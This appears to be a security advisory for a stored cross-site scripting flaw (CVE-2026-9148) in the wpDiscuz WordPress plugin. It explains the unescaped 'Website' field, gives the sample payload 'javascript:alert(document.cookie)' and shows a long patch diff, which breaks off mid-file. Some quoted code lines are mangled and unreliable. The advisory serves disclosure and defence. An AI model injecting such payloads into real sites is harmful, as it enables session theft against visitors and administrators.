Published : July 2, 2026

CVE-2026-9148: Comments <= 7.6.56 Unauthenticated Stored Cross-Site Scripting via 'Website' Field PoC, Patch Analysis & Rule

CVE ID CVE-2026-9148
Plugin wpdiscuz
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 7.6.56
Patched Version 7.6.57
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9148:
This is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Comments – wpDiscuz plugin for WordPress, versions up to and including 7.6.56. The flaw resides in the getCommentAuthor() function, which outputs the comment_author_url field directly into single-quoted HTML attributes without proper escaping. An unauthenticated attacker can inject arbitrary JavaScript by supplying a malicious payload in the ‘Website’ field when posting a guest comment. The payload executes in the context of any user viewing the affected comment page. According to Atomic Edge analysis, this attack requires no authentication and can lead to session hijacking, credential theft, or further compromise of the WordPress installation.

The root cause is the lack of output escaping in the getCommentAuthor() function (located in wpdiscuz/utils/class.WpdiscuzHelper.php). The vulnerable code does not apply esc_url() or esc_attr() to the $href variable when constructing anchor elements. Specifically, lines 1578-1596 of class.WpdiscuzHelper.php (patched version) show that the comment_author_url value is interpolated directly into single-quoted HTML attribute values: $user[“authorNameHtml”] = “{$user[“authorNameHtml”]}“; The $href variable originates from the stored comment_author_url field (the ‘Website’ field submitted by guest commenters). Because WordPress does not sanitize this field as HTML-safe for attribute contexts, an attacker can embed JavaScript event handlers or break out of the attribute using a single quote.

An attacker exploits this vulnerability by submitting a comment on any post with commenting enabled (including unauthenticated guest comments). During comment submission, the ‘Website’ field is included. The attacker sets this field to a malicious payload, such as: javascript:alert(document.cookie). Because the getCommentAuthor() function fails to escape the value when rendering the author link, the attacker-supplied JavaScript executes in the visitor’s browser. The payload can be appended via an event handler like onmouseover or simply break out of the href attribute. The attacker does not need to be logged in, as wpDiscuz allows guest comments by default.

The patch (version 7.6.57) adds proper escaping in the getCommentAuthor() function. In the patched code (class.WpdiscuzHelper.php line 1580-1596), the $href variable is now passed through esc_url() before being included in the HTML attribute: $user[“authorNameHtml”] = “{$user[“authorNameHtml”]}“; Similarly, all other attribute values are sanitized with esc_attr() or esc_url() as appropriate. This prevents an attacker from injecting arbitrary HTML or JavaScript through the website URL field. Before the patch, the raw user-supplied value was placed directly into the href, allowing XSS. After the patch, esc_url() ensures the URL is safe for output in an HTML attribute context.

Successful exploitation leads to Stored XSS, which means the injected script executes automatically in any user’s browser when viewing the page containing the malicious comment. An attacker can steal session cookies, redirect users to phishing sites, deface the page, or perform actions on behalf of the victim (e.g., creating admin accounts if the victim is an administrator). This is a high-impact vulnerability (CVSS 7.2) because it requires no authentication and can affect all visitors to the compromised page, including site administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpdiscuz/class.WpdiscuzCore.php
+++ b/wpdiscuz/class.WpdiscuzCore.php
@@ -3,7 +3,7 @@
  * Plugin Name: wpDiscuz
  * Plugin URI: https://wpdiscuz.com/
  * Description: #1 WordPress Comment Plugin. Innovative, modern and feature-rich comment system to supercharge your website comment section.
- * Version: 7.6.56
+ * Version: 7.6.57
  * Author: gVectors Team
  * Author URI: https://gvectors.com/
  * Text Domain: wpdiscuz
@@ -109,7 +109,7 @@
         $this->helperUpload       = new WpdiscuzHelperUpload($this->options, $this->dbManager, $this->wpdiscuzForm, $this->helper);
         $this->cache              = new WpdiscuzCache($this->options, $this->helper);

-        $this->requestUri = !empty($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : "";
+        $this->requestUri = !empty($_SERVER["REQUEST_URI"]) ? wp_unslash($_SERVER["REQUEST_URI"]) : "";

         do_action("wpdiscuz_init");

@@ -360,7 +360,11 @@
                 $commentListArgs["new_loaded_class"] = "wpd-new-loaded-comment";
                 $response                            = ["message" => []];
                 foreach ($newCommentIds as $newCommentId) {
-                    $comment               = get_comment($newCommentId);
+                    $comment = get_comment((int)$newCommentId);
+                    if (empty($comment->comment_ID) || ($comment->comment_post_ID) ||
+                        ((int)$comment->comment_post_ID !== (int)$postId) || ($comment->comment_approved !== "1")) {
+                        continue;
+                    }
                     $commentHtml           = wp_list_comments($commentListArgs, [$comment]);
                     $response["message"][] = [
                         "comment_id"     => $comment->comment_ID,
@@ -484,7 +488,7 @@
                 if ($closedComment) {
                     add_comment_meta($new_comment_id, self::META_KEY_CLOSED, "1");
                 }
-                $newComment    = get_comment($new_comment_id);
+                $newComment = get_comment($new_comment_id);

                 if ($newComment->comment_approved === "trash") {
                     wp_send_json_error("wc_msg_comment_is_trash");
@@ -2020,6 +2024,11 @@
         $commentId = WpdiscuzHelper::sanitize(INPUT_POST, "commentId", FILTER_SANITIZE_NUMBER_INT, 0);
         if ($postId) {
             $comment = get_comment($commentId);
+
+            if (empty($comment) || ((int)$comment->comment_post_ID != (int)$postId)) {
+                wp_send_json_error(esc_html__("Invalid comment", "wpdiscuz"));
+            }
+
             $post    = get_post($comment->comment_post_ID);
             WpdiscuzHelper::validatePostAccess($post);
             $this->isWpdiscuzLoaded = true;
--- a/wpdiscuz/forms/wpDiscuzForm.php
+++ b/wpdiscuz/forms/wpDiscuzForm.php
@@ -522,9 +522,9 @@
         } else {
             wp_die("Permission denied !");
         }
-        wp_redirect(esc_url_raw(admin_url("edit.php?post_type=" . self::WPDISCUZ_FORMS_CONTENT_TYPE)));
-        exit();
-    }
+        wp_safe_redirect(esc_url_raw(admin_url("edit.php?post_type=" . self::WPDISCUZ_FORMS_CONTENT_TYPE)));
+        exit();
+    }

     public function formExists() {
         if (current_user_can("manage_options")) {
--- a/wpdiscuz/forms/wpdFormAttr/Login/SocialLogin.php
+++ b/wpdiscuz/forms/wpdFormAttr/Login/SocialLogin.php
@@ -1382,9 +1382,9 @@
             setcookie('wpdiscuz_social_login_message', $message, time() + 3600, '/');
         }
         do_action("wpdiscuz_clean_post_cache", $postID, "social_login");
-        wp_redirect($this->getPostLink($postID), 302);
-        exit();
-    }
+        wp_safe_redirect(esc_url_raw($this->getPostLink($postID)), 302);
+        exit();
+    }

     private function createCallBackURL($provider) {
         $adminAjaxURL = admin_url("admin-ajax.php");
--- a/wpdiscuz/utils/class.WpdiscuzCache.php
+++ b/wpdiscuz/utils/class.WpdiscuzCache.php
@@ -29,12 +29,12 @@
             $this->resetUsersCache();
         }
         $referer = wp_get_referer();
-        if (strpos($referer, "page=" . self::PAGE_SETTINGS) === false) {
+        if ($referer && strpos($referer, "page=" . self::PAGE_SETTINGS) === false) {
             $redirect = $referer;
         } else {
             $redirect = admin_url("admin.php?page=" . self::PAGE_SETTINGS . "&wpd_tab=" . self::TAB_GENERAL);
         }
-        wp_redirect($redirect);
+        wp_safe_redirect(esc_url_raw($redirect));
         exit();
     }

@@ -43,7 +43,11 @@
             $this->resetCommentsCache(sanitize_text_field($_GET["post_id"]));
             $this->resetUsersCache();
         }
-        wp_redirect(wp_get_referer());
+        $redirect = wp_get_referer();
+        if (!$redirect) {
+            $redirect = admin_url("admin.php?page=" . self::PAGE_SETTINGS . "&wpd_tab=" . self::TAB_GENERAL);
+        }
+        wp_safe_redirect(esc_url_raw($redirect));
         exit();
     }

@@ -133,7 +137,8 @@
     }

     private function setCache($fileInfo, $data) {
-        if ($this->options->general["isCacheEnabled"]) {
+        $shouldSetCache = (bool)apply_filters("wpdiscuz_set_cache", true, $fileInfo, $data);
+        if ($this->options->general["isCacheEnabled"] && $shouldSetCache) {
             // removing stat caches to avoid unexpected results
             clearstatcache();
             if (!is_dir($fileInfo["dir"])) {
--- a/wpdiscuz/utils/class.WpdiscuzHelper.php
+++ b/wpdiscuz/utils/class.WpdiscuzHelper.php
@@ -613,7 +613,8 @@
     public function disableAddonsDemo() {
         if (current_user_can("manage_options") && isset($_GET["_wpnonce"]) && wp_verify_nonce($_GET["_wpnonce"], "disableAddonsDemo") && isset($_GET["show"])) {
             update_option(self::OPTION_SLUG_SHOW_DEMO, intval($_GET["show"]));
-            wp_redirect(admin_url("admin.php?page=" . WpdiscuzCore::PAGE_SETTINGS));
+            wp_safe_redirect(esc_url_raw(admin_url("admin.php?page=" . WpdiscuzCore::PAGE_SETTINGS)));
+            exit();
         }
     }

@@ -678,7 +679,7 @@
             $currentUserEmail = $currentUser->user_email;
         } else {
             $currentUserId    = 0;
-            $currentUserEmail = isset($_COOKIE["comment_author_email_" . COOKIEHASH]) ? sanitize_email($_COOKIE["comment_author_email_" . COOKIEHASH]) : "";
+            $currentUserEmail = isset($_COOKIE["comment_author_email_" . COOKIEHASH]) ? sanitize_email(wp_unslash($_COOKIE["comment_author_email_" . COOKIEHASH])) : "";
         }

         if (is_user_logged_in()) {
@@ -1495,7 +1496,7 @@
             $user["profileUrl"]        = in_array($user["user"]->ID, $args["posts_authors"]) ? get_author_posts_url($user["user"]->ID) : "";
             $user["profileUrl"]        = $this->getProfileUrl($user["profileUrl"], $user["user"]);
             if ($this->options->social["displayIconOnAvatar"] && ($socialProvider = get_user_meta($user["user"]->ID, self::WPDISCUZ_SOCIAL_PROVIDER_KEY, true))) {
-                $user["commentWrapClass"][] = "wpd-soc-user-" . $socialProvider;
+                $user["commentWrapClass"][] = "wpd-soc-user-" . sanitize_html_class($socialProvider);
                 if ($socialProvider === "facebook") {
                     $user["socIcon"] = "<i><svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 320 512'><path d='M80 299.3V512H196V299.3h86.5l18-97.8H196V166.9c0-51.7 20.3-71.5 72.7-71.5c16.3 0 29.4 .4 37 1.2V7.9C291.4 4 256.4 0 236.2 0C129.3 0 80 50.5 80 159.4v42.1H14v97.8H80z'/></svg></i>";
                 } else if ($socialProvider === "instagram") {
@@ -1547,7 +1548,7 @@
             ];
             $user["avatar"]            = get_avatar($user["gravatarArgs"]["wpdiscuz_gravatar_field"], $user["gravatarArgs"]["wpdiscuz_gravatar_size"], "", $user["authorName"], $user["gravatarArgs"]);
         }
-        $user["authorNameHtml"] = $user["authorName"];
+        $user["authorNameHtml"] = esc_html($user["authorName"]);
         if ($this->options->login["enableProfileURLs"]) {
             if ($user["profileUrl"]) {
                 $attributes = apply_filters("wpdiscuz_avatar_link_attributes", [
@@ -1558,11 +1559,12 @@
                 if ($attributes && is_array($attributes)) {
                     $attributesHtml = "";
                     foreach ($attributes as $attribute => $value) {
-                        $attributesHtml .= " $attribute='{$value}'";
+                        $escapedValue = ($attribute === "href") ? esc_url($value) : esc_attr($value);
+                        $attributesHtml .= " " . esc_attr($attribute) . "='{$escapedValue}'";
                     }
                     $user["authorAvatarSprintf"] = "<a" . str_replace("%", "%%", $attributesHtml) . ">%s</a>";
                 } else {
-                    $user["authorAvatarSprintf"] = "<a rel='noreferrer ugc' href='" . str_replace("%", "%%", $user["profileUrl"]) . "' target='_blank'>%s</a>";
+                    $user["authorAvatarSprintf"] = "<a rel='noreferrer ugc' href='" . str_replace("%", "%%", esc_url($user["profileUrl"])) . "' target='_blank'>%s</a>";
                 }
             }
             if ((($href = $user["commentAuthorUrl"]) && $this->options->login["websiteAsProfileUrl"]) || ($href = $user["profileUrl"])) {
@@ -1578,11 +1580,12 @@
                 if ($attributes && is_array($attributes)) {
                     $attributesHtml = "";
                     foreach ($attributes as $attribute => $value) {
-                        $attributesHtml .= " $attribute='$value'";
+                        $escapedValue = ($attribute === "href") ? esc_url($value) : esc_attr($value);
+                        $attributesHtml .= " " . esc_attr($attribute) . "='{$escapedValue}'";
                     }
                     $user["authorNameHtml"] = "<a$attributesHtml>{$user["authorNameHtml"]}</a>";
                 } else {
-                    $user["authorNameHtml"] = "<a rel='$rel' href='$href' target='_blank'>{$user["authorNameHtml"]}</a>";
+                    $user["authorNameHtml"] = "<a rel='" . esc_attr($rel) . "' href='" . esc_url($href) . "' target='_blank'>{$user["authorNameHtml"]}</a>";
                 }
             }
         }
--- a/wpdiscuz/utils/class.WpdiscuzHelperAjax.php
+++ b/wpdiscuz/utils/class.WpdiscuzHelperAjax.php
@@ -614,7 +614,7 @@
         if (!current_user_can('manage_options')) {
             wp_send_json_error("fix_tables_error");
         }
-        $fixTables = isset($_POST["fixTables"]) ? sanitize_textarea_field($_POST["fixTables"]) : "";
+        $fixTables = isset($_POST["fixTables"]) ? sanitize_textarea_field(wp_unslash($_POST["fixTables"])) : "";
         if ($fixTables) {
             parse_str($fixTables, $data);
             $nonce = !empty($data["wpd-fix-tables"]) ? trim($data["wpd-fix-tables"]) : "";
@@ -956,6 +956,11 @@
         $post_id = WpdiscuzHelper::sanitize(INPUT_POST, "postId", FILTER_SANITIZE_NUMBER_INT, 0);
         $post    = get_post($post_id);
         WpdiscuzHelper::validatePostAccess($post);
+
+        if ($rating < 1 || $rating > 5) {
+            wp_send_json_error("wc_not_allowed_to_rate");
+        }
+
         /**
          * @var $form wpdFormAttrForm
          */
@@ -1071,7 +1076,16 @@
             </li>
         </ul>
         <?php
-        wp_die(ob_get_clean());
+        $allowedHtml = [
+            "ul"  => [
+                "class" => true,
+            ],
+            "li"  => [],
+            "div" => [
+                "class" => true,
+            ],
+        ];
+        wp_die(wp_kses(ob_get_clean(), $allowedHtml));
     }

     public function wpd_stat_graph() {
@@ -1233,7 +1247,14 @@
                 }
             }

-            wp_die($output);
+            $allowedHtml = [
+                "a" => [
+                    "href"     => true,
+                    "tabindex" => true,
+                    "class"    => true,
+                ],
+            ];
+            wp_die(wp_kses($output, $allowedHtml));
         }
     }

--- a/wpdiscuz/utils/class.WpdiscuzHelperEmail.php
+++ b/wpdiscuz/utils/class.WpdiscuzHelperEmail.php
@@ -75,9 +75,9 @@
             return $template;
         }

-        if (isset($_GET["key"]) && in_array($wpDiscuzSubscriptionAction, $allowedDeleteActions)) {
-            $wpDiscuzSubscriptionKey = sanitize_text_field(trim($_GET["key"]));
-        }
+        if (isset($_GET["key"]) && in_array($wpDiscuzSubscriptionAction, $allowedDeleteActions)) {
+            $wpDiscuzSubscriptionKey = sanitize_text_field(trim(wp_unslash($_GET["key"])));
+        }


         $rateLimitResult = $this->helper->checkRateLimit('subscription_requests', 20, MINUTE_IN_SECONDS);
@@ -85,27 +85,28 @@
             wp_send_json_error($rateLimitResult->get_error_code());
         }

-        if ($wpDiscuzSubscriptionAction === "confirm" && isset($_GET["wpdiscuzConfirmID"]) && isset($_GET["wpdiscuzConfirmKey"]) && isset($_GET["wpDiscuzComfirm"])) {
-            $this->dbManager->notificationConfirm(sanitize_text_field($_GET["wpdiscuzConfirmID"]), sanitize_text_field($_GET["wpdiscuzConfirmKey"]));
-            $wpDiscuzSubscriptionMessage = $this->options->getPhrase("wc_comfirm_success_message");
-        } else if ($wpDiscuzSubscriptionAction === "unsubscribe" && isset($_GET["wpdiscuzSubscribeID"]) && isset($_GET["key"])) {
-            $this->dbManager->unsubscribe(sanitize_text_field($_GET["wpdiscuzSubscribeID"]), sanitize_text_field($_GET["key"]));
-            $wpDiscuzSubscriptionMessage = $this->options->getPhrase("wc_unsubscribe_message");
+        if ($wpDiscuzSubscriptionAction === "confirm" && isset($_GET["wpdiscuzConfirmID"]) && isset($_GET["wpdiscuzConfirmKey"]) && isset($_GET["wpDiscuzComfirm"])) {
+            $this->dbManager->notificationConfirm(sanitize_text_field(wp_unslash($_GET["wpdiscuzConfirmID"])), sanitize_text_field(wp_unslash($_GET["wpdiscuzConfirmKey"])));
+            $wpDiscuzSubscriptionMessage = $this->options->getPhrase("wc_comfirm_success_message");
+        } else if ($wpDiscuzSubscriptionAction === "unsubscribe" && isset($_GET["wpdiscuzSubscribeID"]) && isset($_GET["key"])) {
+            $this->dbManager->unsubscribe(sanitize_text_field(wp_unslash($_GET["wpdiscuzSubscribeID"])), sanitize_text_field(wp_unslash($_GET["key"])));
+            $wpDiscuzSubscriptionMessage = $this->options->getPhrase("wc_unsubscribe_message");
         } else if ($wpDiscuzSubscriptionAction === "deletecomments" && $wpDiscuzSubscriptionKey) {
             $wpDiscuzSubscriptionMessage = __("comments", "wpdiscuz");
         } else if ($wpDiscuzSubscriptionAction === "deletesubscriptions" && $wpDiscuzSubscriptionKey) {
             $wpDiscuzSubscriptionMessage = __("subscriptions", "wpdiscuz");
         } else if ($wpDiscuzSubscriptionAction === "deletefollows" && $wpDiscuzSubscriptionKey) {
             $wpDiscuzSubscriptionMessage = __("follows", "wpdiscuz");
-        } else if ($wpDiscuzSubscriptionAction === "follow") {
-            if (isset($_GET["wpdiscuzFollowID"]) && isset($_GET["wpdiscuzFollowKey"]) && isset($_GET["wpDiscuzComfirm"])) {
-                if ($_GET["wpDiscuzComfirm"]) {
-                    $this->dbManager->confirmFollow(sanitize_text_field($_GET["wpdiscuzFollowID"]), sanitize_text_field($_GET["wpdiscuzFollowKey"]));
-                    $wpDiscuzSubscriptionMessage = $this->options->getPhrase("wc_follow_confirm_success");
-                } else {
-                    $this->dbManager->cancelFollow(sanitize_text_field($_GET["wpdiscuzFollowID"]), sanitize_text_field($_GET["wpdiscuzFollowKey"]));
-                    $wpDiscuzSubscriptionMessage = $this->options->getPhrase("wc_follow_cancel_success");
-                }
+        } else if ($wpDiscuzSubscriptionAction === "follow") {
+            if (isset($_GET["wpdiscuzFollowID"]) && isset($_GET["wpdiscuzFollowKey"]) && isset($_GET["wpDiscuzComfirm"])) {
+                $wpDiscuzConfirm = (bool) sanitize_text_field(wp_unslash($_GET["wpDiscuzComfirm"]));
+                if ($wpDiscuzConfirm) {
+                    $this->dbManager->confirmFollow(sanitize_text_field(wp_unslash($_GET["wpdiscuzFollowID"])), sanitize_text_field(wp_unslash($_GET["wpdiscuzFollowKey"])));
+                    $wpDiscuzSubscriptionMessage = $this->options->getPhrase("wc_follow_confirm_success");
+                } else {
+                    $this->dbManager->cancelFollow(sanitize_text_field(wp_unslash($_GET["wpdiscuzFollowID"])), sanitize_text_field(wp_unslash($_GET["wpdiscuzFollowKey"])));
+                    $wpDiscuzSubscriptionMessage = $this->options->getPhrase("wc_follow_cancel_success");
+                }
             }
         } else if ($wpDiscuzSubscriptionAction === "bulkmanagement") {
             $wpDiscuzSubscriptionMessage = esc_html__("Something is wrong.", "wpdiscuz");
@@ -488,7 +489,7 @@
         $this->helper->validateNonce();
         $postId = (int)WpdiscuzHelper::sanitize(INPUT_POST, "postId", FILTER_SANITIZE_NUMBER_INT, 0);;
         $commentId   = (int)WpdiscuzHelper::sanitize(INPUT_POST, "comment_id", FILTER_SANITIZE_NUMBER_INT, 0);
-        $email       = isset($_POST["email"]) ? sanitize_email(trim($_POST["email"])) : "";
+        $email       = isset($_POST["email"]) ? sanitize_email(trim(wp_unslash($_POST["email"]))) : "";
         $isParent    = WpdiscuzHelper::sanitize(INPUT_POST, "isParent", "FILTER_SANITIZE_STRING");
         $currentUser = WpdiscuzHelper::getCurrentUser();
         if ($currentUser && $currentUser->user_email) {
@@ -686,7 +687,7 @@
      */
     public function notificationFromDashboard($commentId, $approved) {
         $wpdiscuz         = wpDiscuz();
-        $referer          = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "";
+        $referer          = isset($_SERVER["HTTP_REFERER"]) ? esc_url_raw(wp_unslash($_SERVER["HTTP_REFERER"])) : "";
         $comment          = get_comment($commentId);
         $commentsPage     = strpos($referer, "edit-comments.php") !== false;
         $postCommentsPage = (strpos($referer, "post.php") !== false) && (strpos($referer, "action=edit") !== false);
--- a/wpdiscuz/utils/class.WpdiscuzHelperOptimization.php
+++ b/wpdiscuz/utils/class.WpdiscuzHelperOptimization.php
@@ -210,27 +210,33 @@
         }
     }

-    public function removeVoteData() {
-        if (isset($_GET["_wpnonce"]) && wp_verify_nonce($_GET["_wpnonce"], "removeVoteData") && current_user_can("manage_options")) {
-            $this->dbManager->removeVotes();
-            do_action("wpdiscuz_remove_vote_data");
-            wp_redirect(admin_url("admin.php?page=" . self::PAGE_SETTINGS . "&wpd_tab=" . self::TAB_GENERAL));
-        }
-    }
-
-    public function removeSocialAvatars() {
-        if (isset($_GET["_wpnonce"]) && wp_verify_nonce($_GET["_wpnonce"], "removeSocialAvatars") && current_user_can("manage_options")) {
-            $this->dbManager->removeSocialAvatars();
-            wp_redirect(admin_url("admin.php?page=" . self::PAGE_SETTINGS . "&wpd_tab=" . self::TAB_GENERAL));
-        }
-    }
-
-    public function resetPhrases() {
-        if (isset($_GET["_wpnonce"]) && wp_verify_nonce($_GET["_wpnonce"], "reset_phrases_nonce") && current_user_can("manage_options")) {
-            $this->dbManager->deletePhrases();
-            wp_redirect(admin_url("admin.php?page=" . self::PAGE_PHRASES));
-        }
-    }
+    public function removeVoteData() {
+        $nonce = isset($_GET["_wpnonce"]) ? sanitize_text_field(wp_unslash($_GET["_wpnonce"])) : "";
+        if ($nonce && wp_verify_nonce($nonce, "removeVoteData") && current_user_can("manage_options")) {
+            $this->dbManager->removeVotes();
+            do_action("wpdiscuz_remove_vote_data");
+            wp_safe_redirect(esc_url_raw(admin_url("admin.php?page=" . self::PAGE_SETTINGS . "&wpd_tab=" . self::TAB_GENERAL)));
+            exit();
+        }
+    }
+
+    public function removeSocialAvatars() {
+        $nonce = isset($_GET["_wpnonce"]) ? sanitize_text_field(wp_unslash($_GET["_wpnonce"])) : "";
+        if ($nonce && wp_verify_nonce($nonce, "removeSocialAvatars") && current_user_can("manage_options")) {
+            $this->dbManager->removeSocialAvatars();
+            wp_safe_redirect(esc_url_raw(admin_url("admin.php?page=" . self::PAGE_SETTINGS . "&wpd_tab=" . self::TAB_GENERAL)));
+            exit();
+        }
+    }
+
+    public function resetPhrases() {
+        $nonce = isset($_GET["_wpnonce"]) ? sanitize_text_field(wp_unslash($_GET["_wpnonce"])) : "";
+        if ($nonce && wp_verify_nonce($nonce, "reset_phrases_nonce") && current_user_can("manage_options")) {
+            $this->dbManager->deletePhrases();
+            wp_safe_redirect(esc_url_raw(admin_url("admin.php?page=" . self::PAGE_PHRASES)));
+            exit();
+        }
+    }

     public function cleanCommentRelatedRows($commentId, $comment = null) {
         $this->dbManager->deleteSubscriptions($commentId);
@@ -338,14 +344,15 @@

     //Integration with Redis or Memcached

-    private function isApplicableToRequest() {
-        if (!wp_doing_ajax()) {
-            return false;
-        }
-        if (!isset($_REQUEST["action"]) || sanitize_text_field($_REQUEST["action"]) !== "wpdLoadMoreComments") {
-            return false;
-        }
-
+    private function isApplicableToRequest() {
+        if (!wp_doing_ajax()) {
+            return false;
+        }
+        $action = isset($_REQUEST["action"]) ? sanitize_text_field(wp_unslash($_REQUEST["action"])) : "";
+        if ($action !== "wpdLoadMoreComments") {
+            return false;
+        }
+
         return true;
     }

--- a/wpdiscuz/utils/class.WpdiscuzHelperUpload.php
+++ b/wpdiscuz/utils/class.WpdiscuzHelperUpload.php
@@ -35,7 +35,7 @@
         $this->wpdiscuzForm = $wpdiscuzForm;
         $this->helper       = $helper;

-        $this->requestUri = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : "";
+        $this->requestUri = isset($_SERVER["REQUEST_URI"]) ? sanitize_text_field(wp_unslash($_SERVER["REQUEST_URI"])) : "";
         if ($this->options->content["wmuIsEnabled"]) {
             add_action("wpdiscuz_init", [$this, "initUploadsFolderVars"]);

@@ -482,28 +482,39 @@
     public function deleteAttachment() {
         $this->helper->validateNonce();
         $response     = ["errorCode" => "", "error" => ""];
-        $attachmentId = isset($_POST["attachmentId"]) ? trim($_POST["attachmentId"]) : 0;
+        $attachmentId = isset($_POST["attachmentId"]) ? trim(sanitize_text_field(wp_unslash($_POST["attachmentId"]))) : 0;
         $attachmentId = self::decrypt($attachmentId);
         $attachment   = get_post($attachmentId);
-        $commentId    = get_post_meta($attachmentId, self::METAKEY_ATTCHMENT_COMMENT_ID, true);
-        $comment      = get_comment($commentId);
-        $post         = get_post($comment->comment_post_ID);
+
+        if (empty($attachment->ID) || $attachment->post_type !== "attachment") {
+            $response["error"] = esc_html__("The attachment does not exist!", "wpdiscuz");
+            wp_send_json_error($response);
+        }
+
+        $commentId = get_post_meta($attachmentId, self::METAKEY_ATTCHMENT_COMMENT_ID, true);
+        $comment   = get_comment($commentId);
+
+        if (empty($comment->comment_ID)) {
+            $response["error"] = esc_html__("Attachment's parent comment does not exist!", "wpdiscuz");
+            wp_send_json_error($response);
+        }
+
+        $post = get_post($comment->comment_post_ID);
         WpdiscuzHelper::validatePostAccess($post);
-        if ($attachment && $comment) {
-            if (empty($this->currentUser->ID)) {
-                $this->setCurrentUser(WpdiscuzHelper::getCurrentUser());
-            }
-            $args = [];
-            if (isset($this->currentUser->user_email)) {
-                $args["comment_author_email"] = $this->currentUser->user_email;
-            }
-            if (current_user_can("moderate_comments") || ($this->helper->isCommentEditable($comment) && $this->helper->canUserEditComment($comment, $this->currentUser, $args))) {
-                wp_delete_attachment($attachmentId, true);
-                do_action("wpdiscuz_reset_comments_extra_cache", $comment->comment_post_ID);
-                wp_send_json_success($response);
-            }
+
+        if (empty($this->currentUser->ID)) {
+            $this->setCurrentUser(WpdiscuzHelper::getCurrentUser());
+        }
+        $args = [];
+        if (isset($this->currentUser->user_email)) {
+            $args["comment_author_email"] = $this->currentUser->user_email;
+        }
+        if (current_user_can("moderate_comments") || ($this->helper->isCommentEditable($comment) && $this->helper->canUserEditComment($comment, $this->currentUser, $args))) {
+            wp_delete_attachment($attachmentId, true);
+            do_action("wpdiscuz_reset_comments_extra_cache", $comment->comment_post_ID);
+            wp_send_json_success($response);
         } else {
-            $response["error"] = esc_html__("The attachment does not exist", "wpdiscuz");
+            $response["error"] = esc_html__("You don't have sufficient permission for this action!", "wpdiscuz");
             wp_send_json_error($response);
         }
     }
@@ -965,7 +976,17 @@
         $dropdown .= "<option value=''>" . esc_html__("All Media Items", "wpdiscuz") . "</option>";
         $dropdown .= "<option value='wpdiscuz' {$selected}>" . esc_html__("wpDiscuz Media Items", "wpdiscuz") . "</option>";
         $dropdown .= "</select>";
-        echo $dropdown;
+        echo wp_kses($dropdown, [
+            "select" => [
+                "name"  => true,
+                "id"    => true,
+                "class" => true,
+            ],
+            "option" => [
+                "value"    => true,
+                "selected" => true,
+            ],
+        ]);
     }

     function getWpdiscuzMedia($query) {
--- a/wpdiscuz/utils/layouts/activity/activity-page.php
+++ b/wpdiscuz/utils/layouts/activity/activity-page.php
@@ -3,7 +3,7 @@
     exit();
 }

-$action      = isset($_POST["action"]) ? sanitize_text_field($_POST["action"]) : "";
+$action      = isset($_POST["action"]) ? sanitize_text_field(wp_unslash($_POST["action"])) : "";
 $currentUser = self::getCurrentUser();
 if ($currentUser && $currentUser->ID) {
     $currentUserId    = $currentUser->ID;
--- a/wpdiscuz/utils/layouts/activity/item.php
+++ b/wpdiscuz/utils/layouts/activity/item.php
@@ -8,7 +8,7 @@
 $commentLeftStyle = $canDeleteComment ? "" : "width:99%;border-right:none;";
 ?>
 <div class="wpd-item">
-    <div class="wpd-item-left" style="<?php echo $commentLeftStyle; ?>">
+    <div class="wpd-item-left" style="<?php echo esc_attr($commentLeftStyle); ?>">
         <div class="wpd-item-link wpd-comment-meta">
             <i class="fas fa-user"></i>
             <?php echo esc_html($item->comment_author); ?>  
@@ -17,7 +17,7 @@
         </div>
         <div class="wpd-item-link wpd-comment-item-link">
             <a class="wpd-comment-link" href="<?php echo esc_url_raw(get_comment_link($item)); ?>" target="_blank">
-                <?php echo get_comment_excerpt($item->comment_ID); ?>
+                <?php echo wp_kses_post(get_comment_excerpt($item->comment_ID)); ?>
             </a>
         </div>
         <div class="wpd-item-link wpd-post-item-link">
@@ -40,4 +40,4 @@
         </div>
     <?php } ?>
     <div class="wpd-clear"></div>
-</div>
 No newline at end of file
+</div>
--- a/wpdiscuz/utils/layouts/follows/follows-page.php
+++ b/wpdiscuz/utils/layouts/follows/follows-page.php
@@ -2,7 +2,7 @@
 if (!defined("ABSPATH")) {
     exit();
 }
-$action      = isset($_POST["action"]) ? sanitize_text_field($_POST["action"]) : "";
+$action      = isset($_POST["action"]) ? sanitize_text_field(wp_unslash($_POST["action"])) : "";
 $currentUser = self::getCurrentUser();
 if ($action && $currentUser && $currentUser->ID) {
     $currentUserEmail = $currentUser->user_email;
@@ -30,4 +30,4 @@
         <div class='wpd-item'><?php echo esc_html($this->options->getPhrase("wc_user_settings_no_data")); ?></div>
         <?php
     }
-}
 No newline at end of file
+}
--- a/wpdiscuz/utils/layouts/subscriptions/item.php
+++ b/wpdiscuz/utils/layouts/subscriptions/item.php
@@ -10,14 +10,14 @@
             <i class="fas fa-calendar-alt"></i> <?php echo esc_html($postedDate); ?>
         </div>
         <div class="wpd-item-link wpd-comment-item-link">
-            <a class="wpd-comment-link" href="<?php echo $link; ?>" target="_blank"
+            <a class="wpd-comment-link" href="<?php echo esc_url($link); ?>" target="_blank"
                title="<?php echo esc_attr($content); ?>">
-                <?php echo $content; ?>
+                <?php echo wp_kses_post($content); ?>
             </a>
         </div>
         <div class="wpd-item-link wpd-post-item-link">
             <i class="far fa-bell"></i>
-            <?php echo esc_html($sTypeInfo); ?>
+            <?php echo wp_kses_post($sTypeInfo); ?>
         </div>
     </div>
     <div class="wpd-item-right">
@@ -28,4 +28,4 @@
         </a>
     </div>
     <div class="wpd-clear"></div>
-</div>
 No newline at end of file
+</div>
--- a/wpdiscuz/utils/layouts/subscriptions/subscriptions-page.php
+++ b/wpdiscuz/utils/layouts/subscriptions/subscriptions-page.php
@@ -2,14 +2,14 @@
 if (!defined("ABSPATH")) {
     exit();
 }
-$action      = isset($_POST["action"]) ? sanitize_text_field($_POST["action"]) : "";
+$action      = isset($_POST["action"]) ? sanitize_text_field(wp_unslash($_POST["action"])) : "";
 $currentUser = self::getCurrentUser();
 if ($currentUser && $currentUser->ID) {
     $currentUserId    = $currentUser->ID;
     $currentUserEmail = $currentUser->user_email;
 } else {
     $currentUserId    = 0;
